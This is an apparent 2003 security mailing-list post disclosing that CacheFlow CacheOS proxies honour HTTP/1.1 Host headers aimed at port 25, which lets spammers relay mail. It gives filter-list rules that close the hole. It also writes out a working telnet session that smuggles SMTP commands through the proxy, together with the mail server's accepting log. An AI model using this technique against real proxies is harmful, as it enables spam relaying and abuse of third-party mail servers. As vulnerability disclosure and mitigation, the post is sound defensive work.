Actually, this seems like it may be related to a known issue.
Or at least related to known issues.  See [incidents] message at:
http://www.securityfocus.com/archive/75/295545/2003-09-07/2003-09-13/2


Cacheflow published information relating to a vulnerability in the 
CONNECT method of the CacheOS.  Here's their document(as html):
http://216.239.39.104/search?q=cache:KTdTB76TgN4J:www.cacheflow.com/files/solutions/solution_http_connect.pdf+&hl=en&ie=UTF-8


The document says that CacheFlow offers two solutions for the problem:

CacheOS 4.0.x and above:

	cacheflow#conf t
	cacheflow#(config)services
	cacheflow#(config services)http
	cacheflow#(config services http)attribute connect ?
	enable Do NOT block CONNECT requests
	disable Do block CONNECT requests	

**This is the method I used to disable connect methods.


For CacheOS 3.1.x and above, the recommend an inline-filter-list entry:
	cacheflow#conf t
	cacheflow#(config)inline filter-list local ccc
	https://.*:(443|80) service=yes
	https://.*:[0-9]+/ service=no
	ccc
	
CacheFlow specifically says, in their PDF, that the first filter regex 
will explicitly allo HTTP and HTTPS traffic, and that the second line 
will ***BLOCK TRAFFIC TO ALL OTHER PORTS***


This is functionaly incorrect.


I'm running CacheOS Version: SA 4.1.10016.
On a CacheFlow 7XX series server.


This method, as described in the PDF, did in fact block the CONNECT requests
from being processed, and returned a bad method error.

Disabling the connect method didn't fix the problem we had with spammers 
relaying through our cacheflow.  It turns out that unlike SQUID, which is 
set by default to ignore HTTP/1.1 HOST headers, the CacheFlow doesn't.

-----------------------------------------------------------------------------
telnet ip.or.hostname.of.cacehflow 80
GET / HTTP/1.1
HOST: mailserver.victim.com:25
HELO .
mail from: spammer@victim.com
rcpt to: target@victim.com
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the 
OS code.  Have a Great Day!
-Spammer
.

220 mailserver.victim.com ESMTP Sendmail 8.12.9/8.12.9; Wed, 10 Sep 2003
11:15:31 -0400
500 5.5.1 Command unrecognized: "GET / HTTP/1.0"
500 5.5.1 Command unrecognized: "HOST: mailserver.victim.com:25"
250 mailserver.victim.com Hello CacheFlowServer@[xx.x.x.xxx], pleased to
meet you
250 2.1.0 spammer@victim.com... Sender ok
250 2.1.5 target@victim.com... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 h8AFFVfo011729 Message accepted for delivery
500 5.5.1 Command unrecognized: "Cache-Control: max-stale=0"
500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
500 5.5.1 Command unrecognized: "Client-ip: xx.xx.xx.xx"
500 5.5.1 Command unrecognized: ""

-----------------------------------------------------------------------------

Once you do this, you'll see the entire smtp session sent as a GET to the 
mail server, complete with carriage returns, which the mail server will
receive in the appropriate order, and the mail will be sent.

On CacheOS 4, the only way to get around this is to use the CacheOS 3 
inline filter solution to the CONNECT bug.

But you need to expand it a bit:

        https://.*:(443|80) service=yes
        https://.*:[0-9]+/ service=no
 
DOES NOT limit ports, when the service is HTTP, as the document says.
TO Actually limit connections to services though HTTP, you need to
add the entries prefixed by 'http', as well as 'https'.  That, based 
on the recommendation from CacheFlow (Blue Coat) support.

        https://.*:(443|80) service=yes
        https://.*:[0-9]+/ service=no
        http://.*:(443|80) service=yes
        http://.*:[0-9]+/ service=no

-----------------------------------------------------------------------------
        cacheflow#conf t
        cacheflow#(config)inline filter-list local ccc
        https://.*:(443|80) service=yes
        https://.*:[0-9]+/ service=no
        http://.*:(443|80) service=yes
        http://.*:[0-9]+/ service=no
        ccc
-----------------------------------------------------------------------------

That will now give a BAD METHOD return on GET's with an HTTP/1.1 HOST header.

This may already be well known, but I'm not really a cacheflow guy, and I 
couldn't find ANYTHING about it on google, altavista, or any of the security
sites (security focus, bugtraq, security tracker, etc.)


-Tim Kennedy & Charlie Benatti

-- 
Timothy Kennedy
tim@timkennedy.net